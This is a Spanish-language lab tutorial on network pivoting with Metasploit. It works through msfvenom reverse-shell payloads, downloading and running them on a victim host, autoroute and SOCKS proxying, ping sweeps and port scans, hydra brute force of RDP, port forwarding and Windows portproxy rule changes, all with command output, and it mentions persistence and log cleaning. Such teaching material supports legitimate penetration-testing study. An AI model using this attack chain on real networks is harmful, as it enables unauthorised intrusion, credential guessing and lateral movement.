31 minuto(s) estimado(s) de lectura
Pivoting con Metasploit
Meterpreter
Pivoting es una técnica que permite a los atacantes utilizar un sistema comprometido como punto de acceso intermedio o “puente” para acceder a otros sistemas en una red, especialmente si esos sistemas no son accesibles directamente desde la posición inicial del atacante. En el contexto de Metasploit y, específicamente, con la shell Meterpreter, pivoting es una funcionalidad esencial que permite a los atacantes explorar y explotar sistemas en redes a las que la máquina comprometida tiene acceso.
-
El proceso general de pivoting con Metasploit es el siguiente:
-
Compromiso Inicial: El atacante explota una vulnerabilidad en un sistema objetivo y obtiene una sesión de Meterpreter.
-
Identificación de la Red: Una vez que el atacante tiene acceso al sistema, puede usar comandos dentro de Meterpreter para identificar la configuración de red y los sistemas circundantes.
-
Configuración del Pivote: Usando Metasploit, el atacante configura un pivote a través del sistema comprometido. Esto se hace a través del comando route en Metasploit. Básicamente, este comando le dice a Metasploit que utilice la sesión de Meterpreter existente como un túnel para tráfico dirigido a una subred específica.
-
Ataques a través del Pivote: Una vez configurado el pivote, el atacante puede lanzar módulos y explotaciones de Metasploit contra sistemas en la red objetivo utilizando el sistema comprometido como un puente.
-
Mantener el Acceso y Limpiar Huellas: Una vez que se ha establecido el acceso, los atacantes suelen implementar técnicas para mantener ese acceso (por ejemplo, mediante el uso de payloads de persistencia) y también para limpiar cualquier huella o log que pueda indicar que el sistema ha sido comprometido.
Direcciones IP en Redes
Cada computadora conectada a una red requiere una dirección IP para comunicarse. Sin esta dirección, esencialmente está desconectada de la red. La dirección IP puede ser asignada de dos maneras:
1. Dinámicamente:
La mayoría de las veces, un servidor DHCP (Protocolo de Configuración Dinámica de Host) en la red asigna automáticamente la dirección IP. Esto es común en dispositivos que se conectan y desconectan regularmente de la red, como computadoras personales y dispositivos móviles.
2. Estáticamente:
En algunos casos, la dirección IP se configura manualmente y no cambia con el tiempo. Este método es frecuente en dispositivos que ofrecen servicios críticos en la red. Algunos ejemplos de dispositivos que suelen tener direcciones IP estáticas son:
- Servidores
- Enrutadores
- Interfaces virtuales de switches
- Impresoras
- Otros dispositivos críticos.
Independientemente de cómo se asigne, la dirección IP se vincula a un Controlador de Interfaz de Red (NIC). Este NIC, a menudo referido como Tarjeta de Interfaz de Red o Adaptador de Red, es la pieza de hardware o software que permite a una computadora conectarse a una red.
Una característica interesante es que una sola computadora puede tener múltiples NICs, tanto físicos como virtuales. Esto significa que podría tener múltiples direcciones IP, permitiéndole estar presente en diferentes redes simultáneamente. Para un profesional de la seguridad o un atacante, identificar todas las direcciones IP de un sistema es crucial, ya que revela las diferentes redes a las que el sistema tiene acceso. Por lo tanto, es vital inspeccionar todos los NICs en un sistema utilizando comandos como ifconfig
(en sistemas macOS y Linux) o ipconfig
(en sistemas Windows).
Análisis de Controladores de Interfaz de Red de ifconfig
(NIC)
En el análisis presentado, se observa que cada NIC tiene un identificador distinto, tales como eth0
, eth1
, lo
y tun0
. Cada uno de estos identificadores está acompañado de detalles de direccionamiento y estadísticas de tráfico que gestionan.
Conexión VPN y el identificador tun0
Fijándonos en el identificador tun0
, destaca por representar una conexión VPN (Red Privada Virtual). Supongamos que estamos tratando de conectarnos a un entorno de red protegido, como podría ser una red corporativa o un laboratorio virtual. Al establecer esta conexión, nuestra computadora generará una interfaz de tipo tun0
con una dirección IP específica asignada. Esta conexión VPN es crucial para garantizar un acceso seguro y exclusivo a los recursos de esa red desde una ubicación externa. Sin esta interfaz VPN activa, simplemente no podríamos acceder a esos activos protegidos.
Funciones de la VPN:
- Encriptación del tráfico: Asegura que la comunicación entre nosotros y la red destino sea confidencial y no pueda ser interceptada o leída por actores no autorizados.
- Establecimiento de un túnel: Esta funcionalidad permite que nuestra comunicación transite a través de redes públicas (por ejemplo, Internet), pasando por sistemas de Traducción de Dirección de Red (NAT) y accediendo finalmente a la red interna o privada de interés.
Direcciones IP en NICs
Si prestamos atención, notaremos diferentes direcciones IP vinculadas a cada NIC. Tomando como ejemplo eth0
, con una dirección IP como 134.122.100.200
, estamos viendo una dirección IP pública. Esto implica que el tráfico proveniente o destinado a esta IP será gestionado por los Proveedores de Servicios de Internet (ISP) a través de la web. Direcciones IP públicas como esta se encuentran en dispositivos que tienen una conexión directa con Internet, a menudo situados en una Zona Desmilitarizada (DMZ).
Por otro lado, ciertos NICs, aparte de tun0
, pueden poseer direcciones IP privadas. Estas direcciones operan dentro de entornos de red internos y no son accesibles directamente desde la Internet global. Para que un dispositivo se comunique en Internet, debe tener al menos una dirección IP pública en uno de sus NICs. Es esencial recordar que, en muchos casos, las direcciones IP privadas se traducen a direcciones IP públicas mediante NAT, permitiendo así la interacción con el exterior.
Análisis de la Salida de ipconfig
en Windows
La información proporcionada anteriormente proviene del resultado de ejecutar el comando ipconfig
en un sistema Windows. Es evidente que este sistema posee múltiples adaptadores, aunque sólo unos pocos tienen direcciones IP asignadas. Las direcciones se presentan tanto en formatos IPv4 como IPv6.
A pesar de los avances en la adopción de IPv6, este módulo se enfocará en redes que operan bajo IPv4. Esto se debe a que IPv4 aún domina como el principal mecanismo de direccionamiento IP en redes empresariales locales (LAN). Sin embargo, es crucial destacar que ciertos adaptadores, como los mostrados anteriormente, operan con configuraciones de doble pila (IPv4 e IPv6). Esta capacidad les permite acceder a recursos tanto por IPv4 como por IPv6.
Entendiendo la Máscara de Subred en IPv4
Cada dirección IPv4 está acompañada de una máscara de subred. Si consideramos la dirección IP como un número de teléfono, la máscara de subred actuaría como el código de área. Esta máscara divide la dirección IP en dos segmentos: la parte de la red y la del host. Esta distinción es vital para la comunicación en redes.
Cuando un paquete o tráfico requiere ser dirigido a una dirección IP fuera de su propia red, el sistema lo redirige a la puerta de enlace predeterminada (default gateway). Esta puerta de enlace, generalmente, es la dirección IP de un dispositivo que actúa como enrutador para esa LAN en particular. Desde la perspectiva de la pivotación en ciberseguridad, es esencial comprender las redes a las que un sistema comprometido puede acceder. Por ello, es de suma importancia documentar toda la información relacionada con direcciones IP durante un compromiso, ya que esto puede ser vital en fases posteriores del análisis.
Pivoting en Linux
Creación de payload
Primero crearemos un payload con msfvenom
, poniendo la situación de que ya hemos tomado acceso a un activo dentro de la red.
┌─[root@kali]─[/home/user/pivoting]
└──╼ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.49 LPORT=8080 -f elf -o backupjob
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: backupjob
Para arquitecturas x86 sería de la siguiente forma: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.49 LPORT=8080 -f elf -o backupjob
Configuración e inicio del multi/handler
El multi/handler
se utiliza principalmente para manejar conexiones entrantes de payloads que se han ejecutado en sistemas objetivo. En términos simples, cuando un atacante envía un payload a un sistema objetivo y este payload se ejecuta, necesita “llamar a casa” o establecer una conexión con el atacante. El multi/handler
es el componente de Metasploit que escucha estas conexiones entrantes y permite al atacante interactuar con la sesión establecida.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.49
LHOST => 10.10.14.49
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.49 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.14.49:8080
Para windows sería: set payload windows/meterpreter/reverse_tcp
Subida y ejecución de arhivo malicioso
Procedemos a subir el payload configurado anteriormente a la máquina víctima. Pero primero nos montamos un servidor HTTP
con python en el puerto 80 y en la carpeta en que se creó el payload.
┌─[root@kali]─[/home/user/pivoting]
└──╼ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌─[victima@ubuntu]─[/tmp]
└──╼ wget http://10.10.14.49/backupjob
--2023-08-19 00:29:17-- http://10.10.14.49/backupjob
Connecting to 10.10.14.49:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 250 [application/octet-stream]
Saving to: ‘backupjob’
backupjob 100%[========================================================================================================================================>] 250 --.-KB/s in 0s
2023-08-19 00:29:17 (20.2 MB/s) - ‘backupjob’ saved [250/250]
┌─[victima@ubuntu]─[/tmp]
└──╼ chmod +x backupjob
┌─[victima@ubuntu]─[/tmp]
└──╼ ls
backupjob
Ejecutamos el payload y obtenemos acceso por medio de meterpreter.
┌─[victima@ubuntu]─[/tmp]
└──╼ ./backupjob
Por medio del multi/handler
recibimos la sesión:
[*] Started reverse TCP handler on 10.10.14.49:8080
[*] Sending stage (3045348 bytes) to 10.129.3.88
[*] Meterpreter session 15 opened (10.10.14.49:8080 -> 10.129.3.88:34042) at 2023-08-18 20:30:40 -0400
meterpreter > pwd
/tmp
meterpreter > ifconfig
Interface 1
============
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
Flags : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::
Interface 2
============
Name : ens192
Hardware MAC : 00:50:56:b9:21:25
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 10.129.3.88
IPv4 Netmask : 255.255.0.0
IPv6 Address : fe80::250:56ff:feb9:2125
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : dead:beef::250:56ff:feb9:2125
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 3
============
Name : ens224
Hardware MAC : 00:50:56:b9:4b:8e
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 172.16.5.129
IPv4 Netmask : 255.255.254.0
IPv6 Address : fe80::250:56ff:feb9:4b8e
IPv6 Netmask : ffff:ffff:ffff:ffff::
meterpreter >
Nosotros accedimos por la interfaz número 2 y en este momento se detecta una tercera desde el host de la máquina víctima a la red 172.16.5.0/24. Esto nos permite realizar un barrido de ping con la herramienta de metasploit ping_sweep
. También podemos realizar barridos de forma manual con las siguientes opciones:
-
Ping Sweep For Loop en hosts Linux:
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
-
Ping Sweep For Loop usando CMD:
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
-
Ping Sweep For Loop usando powershell:
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}
Estas son opciones que se pueden ocupar desde la máquina víctima para analizar otros activos dentro de la red que no podemos acceder, sin embargo para esta ocasión seguiremos ocupando la utilidad de metasploit.
meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/24
[*] Performing ping sweep for IP range 172.16.5.0/24
[+] 172.16.5.19 host found
[+] 172.16.5.129 host found
En este caso encontramos un nuevo host que es el 172.16.5.19. En ciertas situaciones, el firewall de un sistema puede bloquear los pings (ICMP), lo que significa que no recibiríamos respuestas aunque el host esté activo. Frente a tales obstáculos, una alternativa es realizar un escaneo TCP en la dirección 172.16.5.0/24 utilizando Nmap.
Configuración del proxy SOCKS de MSF (opcional)
Además, hay otras técnicas. Por ejemplo, dentro de Metasploit, podemos emplear el módulo post-explotación llamado socks_proxy
. Esto nos permite establecer un proxy local en nuestra máquina atacante. Específicamente, configuraríamos el proxy para usar la versión 4a de SOCKS. Al hacerlo, se iniciará un oyente en el puerto 9050, y redirigirá todo el tráfico entrante a través de nuestra sesión de Meterpreter activa.
Le damos
ctrl+z
o con el comandobg
a la sesión actual para dejarla en segundo plano.
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
SRVPORT => 9050
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
VERSION => 4a
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 9050 yes The port to listen on
VERSION 4a yes The SOCKS version to use (Accepted: 4a, 5)
When VERSION is 5:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Proxy password for SOCKS5 listener
USERNAME no Proxy username for SOCKS5 listener
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy server
View the full module info with the info, or info -d command.
msf6 auxiliary(server/socks_proxy) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Auxiliary: server/socks_proxy
Una vez que hayamos iniciado el servidor SOCKS, procederemos a configurar proxychains
para que dirija el tráfico de herramientas como Nmap a través de nuestro pivote establecido en el host Ubuntu ya comprometido. Si aún no se ha realizado, podemos añadir la siguiente línea al archivo proxychains.conf. Este archivo se encuentra comúnmente en la ruta /etc/proxychains.conf
o /etc/proxychains4.conf
.
socks4 127.0.0.1 9050
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 1080
socks4 127.0.0.1 9050
Creación de rutas
Para concluir, es esencial indicar a nuestro módulo socks_proxy que dirija todo el tráfico mediante nuestra sesión en Meterpreter. Para lograrlo, utilizaremos el módulo post/multi/manage/autoroute
de Metasploit. De esta forma, podremos agregar rutas para la subred 172.16.5.0 y así redirigir todo el tráfico que pase por proxychains.
msf6 auxiliary(server/socks_proxy) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > show options
Module options (post/multi/manage/autoroute):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD autoadd yes Specify the autoroute command (Accepted: add, autoadd, print, delete, default)
NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
SESSION yes The session to run this module on
SUBNET no Subnet (IPv4, for example, 10.10.10.0)
View the full module info with the info, or info -d command.
msf6 post(multi/manage/autoroute) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
5 shell sparc/bsd 10.10.14.49:8080 -> 10.129.3.88:33520 (10.129.3.88)
16 meterpreter x64/linux ubuntu @ 10.129.3.88 10.10.14.49:8080 -> 10.129.3.88:34042 (10.129.3.88)
msf6 post(multi/manage/autoroute) > set SESSION 16
SESSION => 16
msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0
SUBNET => 172.16.5.0
msf6 post(multi/manage/autoroute) > run
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: linux
[*] Running module against 10.129.3.88
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.129.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 172.16.4.0/255.255.254.0 from host's routing table.
[*] Post module execution completed
Otra opción es agregar las rutas desde meterpreter de la siguiente forma:
msf6 post(multi/manage/autoroute) > sessions 16
[*] Starting interaction with 16...
meterpreter > run autoroute -s 172.16.5.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.5.0/255.255.255.0...
[+] Added route to 172.16.5.0/255.255.255.0 via 10.129.62.39
[*] Use the -p option to list all active routes
meterpreter >
Listamos las rutas activas:
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.129.0.0 255.255.0.0 Session 16
172.16.4.0 255.255.254.0 Session 16
172.16.5.0 255.255.255.0 Session 16
meterpreter >
Escaneo de puertos
Observando el resultado anterior, notamos que se ha añadido la ruta para la red 172.16.5.0/24. Con esto en marcha, ahora tenemos la capacidad de utilizar proxychains para redirigir el tráfico de Nmap a través de nuestra sesión en Meterpreter al haber aplicado anteriormente SOCKS. Sin embargo en esta ocasión seguiremos utilizando metasploit y la utilidad de scanner/portscan/tcp
.
proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn (o proxychains4).
msf6 auxiliary(server/socks_proxy) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 172.16.5.19
RHOSTS => 172.16.5.19
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 1-1000,1433,1723,2049,3306,3389,5900,5985,8080,8443
PORTS => 1-1000,1433,1723,2049,3306,3389,5900,5985,8080,8443
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 172.16.5.19: - 172.16.5.19:53 - TCP OPEN
[+] 172.16.5.19: - 172.16.5.19:80 - TCP OPEN
[+] 172.16.5.19: - 172.16.5.19:88 - TCP OPEN
[+] 172.16.5.19: - 172.16.5.19:135 - TCP OPEN
[+] 172.16.5.19: - 172.16.5.19:139 - TCP OPEN
[+] 172.16.5.19: - 172.16.5.19:389 - TCP OPEN
[+] 172.16.5.19: - 172.16.5.19:445 - TCP OPEN
[+] 172.16.5.19: - 172.16.5.19:464 - TCP OPEN
[+] 172.16.5.19: - 172.16.5.19:593 - TCP OPEN
[+] 172.16.5.19: - 172.16.5.19:636 - TCP OPEN
[+] 172.16.5.19: - 172.16.5.19:3389 - TCP OPEN
[*] 172.16.5.19: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Es recomendable hacer más de un escaneo o incluso sobre el puerto 1000 ir escaneando 1 a 1 los puertos.
Reenvío de puertos
La funcionalidad de reenvío de puertos está disponible en Meterpreter a través del módulo portfwd
. Este módulo nos permite establecer un oyente en nuestra máquina atacante. Cuando se reciban paquetes en este puerto designado, Meterpreter se encargará de redirigirlos, a través de la sesión establecida, hacia un host específico en la red 172.16.5.0/24. Primero creamos la retransmisión TCP local.
msf6 auxiliary(scanner/portscan/tcp) > sessions 16
[*] Starting interaction with 16...
meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19
[*] Forward TCP relay created: (local) :3300 -> (remote) 172.16.5.19:3389
meterpreter > portfwd list
Active Port Forwards
====================
Index Local Remote Direction
----- ----- ------ ---------
1 172.16.5.19:3389 0.0.0.0:3300 Forward
1 total active port forwards.
Ahora podremos escanear el puerto 3389 por el 3300 de forma local de la siguiente manera:
┌─[root@kali]─[/home/user/pivoting]
└──╼ nmap -sVC -p3300 localhost
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-18 22:59 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000053s latency).
Other addresses for localhost (not scanned): ::1
PORT STATE SERVICE VERSION
3300/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: INLANEFREIGHT
| NetBIOS_Domain_Name: INLANEFREIGHT
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: inlanefreight.local
| DNS_Computer_Name: DC01.inlanefreight.local
| Product_Version: 10.0.17763
|_ System_Time: 2023-08-19T03:00:28+00:00
| ssl-cert: Subject: commonName=DC01.inlanefreight.local
| Not valid before: 2023-08-18T01:38:48
|_Not valid after: 2024-02-17T01:38:48
|_ssl-date: 2023-08-19T03:00:30+00:00; +5s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 5s, deviation: 0s, median: 4s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.80 seconds
Probamos hacer fuerza bruta con hydra
sobre el rdp cuyo usuario es “victor”:
┌─[root@kali]─[/home/user/pivoting]
└──╼ hydra -V -f -l victor -P /usr/share/wordlists/rockyou.txt rdp://localhost:3300
Procedemos a iniciar sesión con rdesktop
o xfreerdp
, ingresando las credenciales encontradas.
┌─[root@kali]─[/home/user/pivoting]
└──╼ rdesktop -u "victor" -p "pass@123" -d "INLANEFREIGHT" localhost:3300
Finalmente obtenemos acceso a la máquina a través de pivoting.
Reenvío de puerto inverso
Metasploit no solo permite reenvíos de puertos locales, sino también un reenvío inverso de puertos, conocido como reverse port forwarding. Imagina que quieres que el servidor comprometido escuche en un puerto determinado y que, al recibir conexiones en ese puerto, las reenvíe directamente a tu máquina atacante. Por ejemplo, si el servidor comprometido es Ubuntu y tu máquina atacante es Windows, puedes configurar el servidor Ubuntu para reenviar las conexiones recibidas en su puerto 1234 hacia tu máquina Windows en el puerto 8081.
Para implementar esto, en el contexto de un shell ya establecido con Metasploit desde un escenario previo, podrías usar el siguiente comando.
meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.49
[*] Reverse TCP relay created: (remote) [::]:1234 -> (local) 10.10.14.49:8081
Este comando instruiría al servidor Ubuntu a reenviar todas las conexiones de su puerto 1234 a tu máquina atacante en el puerto 8081. Adicionalmente, en tu máquina atacante, debes configurar un oyente con meterpreter para esperar conexiones entrantes en el puerto 8081, específicamente esperando un shell de Windows.
A continuación configuramos y ejecutamos el multi/handler
:
meterpreter > bg
[*] Backgrounding session 16...
msf6 auxiliary(scanner/portscan/tcp) > use exploit/multi/handler
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 8081
LPORT => 8081
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:8081
Creamos el payload considerando la IP de la máquina víctima obtenida en un principio de este modulo:
┌─[root@kali]─[/home/user/pivoting]
└──╼ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe
Para poder ejecutar el archivo en la máquina windows por RDP debemos ocupar el argumento -r disk:linux='/home/user/pivoting'
que se utiliza para redirigir una carpeta local del sistema Unix al sistema remoto al que te estás conectando a través de RDP.
┌─[root@kali]─[/home/user/pivoting]
└──╼ rdesktop -u "victor" -p "pass@123" -d "INLANEFREIGHT" localhost:3300 -r disk:linux='/home/user/pivoting'
En este caso, la carpeta /home/user/pivoting
en tu sistema local se montará en el sistema remoto a través de la sesión RDP.
Una vez que estés conectado al sistema remoto a través de RDP, normalmente verás la carpeta montada en “Mi PC” o “Este equipo” (dependiendo de la versión de Windows) con el nombre “linux” (porque especificaste disk:linux
en el comando). De esta manera, puedes copiar archivos entre tu máquina local y el sistema remoto usando esta carpeta compartida.
Al abrir el archivo backupscript.exe
, nos devolverá una sesión meterpreter que podemos llevar a una shell, pivotado a través del servidor Ubuntu.
[*] Sending stage (200774 bytes) to 10.10.14.49
[*] Sending stage (200774 bytes) to 10.10.14.49
[*] Meterpreter session 18 opened (10.10.14.49:8081 -> 10.10.14.49:40035) at 2023-08-19 00:28:05 -0400
meterpreter > sysinfo
Computer : DC01
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : INLANEFREIGHT
Logged On Users : 13
Meterpreter : x64/windows
meterpreter > shell
Process 6244 created.
Channel 1 created.
'\\tsclient\linux\Pivoting'
CMD.EXE was started with the above path as the current directory.
UNC paths are not supported. Defaulting to Windows directory.
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows>whoami
whoami
inlanefreight\victor
C:\Windows>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::5180:f91f:7509:47e8%7
IPv4 Address. . . . . . . . . . . : 172.16.5.19
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . :
Ethernet adapter Ethernet1 2:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::9976:89dd:628e:51d5%9
IPv4 Address. . . . . . . . . . . : 172.16.6.19
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . :
C:\Windows>
Pivoting en Windows
Para el caso de Windows cambian ciertos puntos para establecer un correcto enrutamiento de la redes. Una vez tenemos nuestra sesión meterpreter establecida de la máquina Windows y detectamos una IP en la que no tenemos alcance, seguiremos los siguientes pasos para un pivoting con éxito:
meterpreter > ipconfig
Interface 1
============
Name : Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Adapter #0
Hardware MAC : 00:50:56:b9:21:25
MTU : 1500
IPv4 Address : 10.129.3.88
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::dc2f:8fa1:536b:6328
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 12
============
Name : Adapter #1
Hardware MAC : 00:50:56:b9:4b:8e
MTU : 1500
IPv4 Address : 172.16.5.129
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::250:56ff:feb9:4b8e
IPv6 Netmask : ffff:ffff:ffff:ffff::
Buscamos nuevos activos en la máquina víctima con el nuevo host detectado:
meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/24
[*] Performing ping sweep for IP range 172.16.5.0/24
[+] 172.16.5.72 host found
[+] 172.16.5.129 host found
Una vez detectamos una red en la que no tenemos alcance (172.16.5.129 y 172.16.5.72), procedemos a agregar rutas en nuestra máquina para dirigir el tráfico específico a través de la sesión de meterpreter comprometida con la utilidad post/multi/manage/autoroute
, en donde simplemente seleccionaremos la sesión activa:
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(windows/smb/psexec) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > show options
Module options (post/multi/manage/autoroute):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD autoadd yes Specify the autoroute command (Accepted: add, autoad
d, print, delete, default)
NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
SESSION yes The session to run this module on
SUBNET no Subnet (IPv4, for example, 10.10.10.0)
msf6 post(multi/manage/autoroute) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\SYSTEM 10.10.14.49:4444 -> 10.129.3.88:33520 (10.129.3.88)
msf6 post(multi/manage/autoroute) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/autoroute) > run
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: windows
[*] Running module against 10.129.3.88
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.129.3.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 172.16.5.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
msf6 post(multi/manage/autoroute) > route print
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
10.129.3.0 255.255.255.0 Session 1
172.16.5.0 255.255.255.0 Session 1
[*] There are currently no IPv6 routes defined.
Ahora utilizamos la funcionalidad “PortProxy” de Windows para redirigir el tráfico de un puerto en particular en el host interno 172.16.5.72 con la utilidad post/windows/manage/portproxy
:
msf6 post(multi/manage/autoroute) > use post/windows/manage/portproxy
msf6 post(windows/manage/portproxy) > show options
Module options (post/windows/manage/portproxy):
Name Current Setting Required Description
---- --------------- -------- -----------
CONNECT_ADDRESS yes IPv4/IPv6 address to which to connect.
CONNECT_PORT yes Port number to which to connect.
IPV6_XP true yes Install IPv6 on Windows XP (needed for v4tov
4).
LOCAL_ADDRESS yes IPv4/IPv6 address to which to listen.
LOCAL_PORT yes Port number to which to listen.
SESSION yes The session to run this module on
TYPE v4tov4 yes Type of forwarding (Accepted: v4tov4, v6tov6
, v6tov4, v4tov6)
msf6 post(windows/manage/portproxy) > set CONNECT_ADDRESS 172.16.5.72
CONNECT_ADDRESS => 172.16.5.72
msf6 post(windows/manage/portproxy) > set CONNECT_PORT 80
CONNECT_PORT => 80
msf6 post(windows/manage/portproxy) > set LOCAL_ADDRESS 0.0.0.0
LOCAL_ADDRESS => 0.0.0.0
msf6 post(windows/manage/portproxy) > set LOCAL_PORT 6080
LOCAL_PORT => 6080
msf6 post(windows/manage/portproxy) > set SESSION 1
SESSION => 1
msf6 post(windows/manage/portproxy) > run
[*] Setting PortProxy ...
[+] PortProxy added.
[*] Port Forwarding Table
=====================
LOCAL IP LOCAL PORT REMOTE IP REMOTE PORT
-------- ---------- --------- -----------
0.0.0.0 6080 172.16.5.72 80
[*] Setting port 6080 in Windows Firewall ...
[+] Port opened in Windows Firewall.
[*] Post module execution completed
msf6 post(windows/manage/portproxy) > set CONNECT_PORT 22
CONNECT_PORT => 22
msf6 post(windows/manage/portproxy) > set LOCAL_PORT 6022
LOCAL_PORT => 6022
msf6 post(windows/manage/portproxy) > run
[*] Setting PortProxy ...
[+] PortProxy added.
[*] Port Forwarding Table
=====================
LOCAL IP LOCAL PORT REMOTE IP REMOTE PORT
-------- ---------- --------- -----------
0.0.0.0 6080 172.16.5.72 80
0.0.0.0 6022 172.16.5.72 22
[*] Setting port 6022 in Windows Firewall ...
[+] Port opened in Windows Firewall.
[*] Post module execution completed
msf6 post(windows/manage/portproxy) >
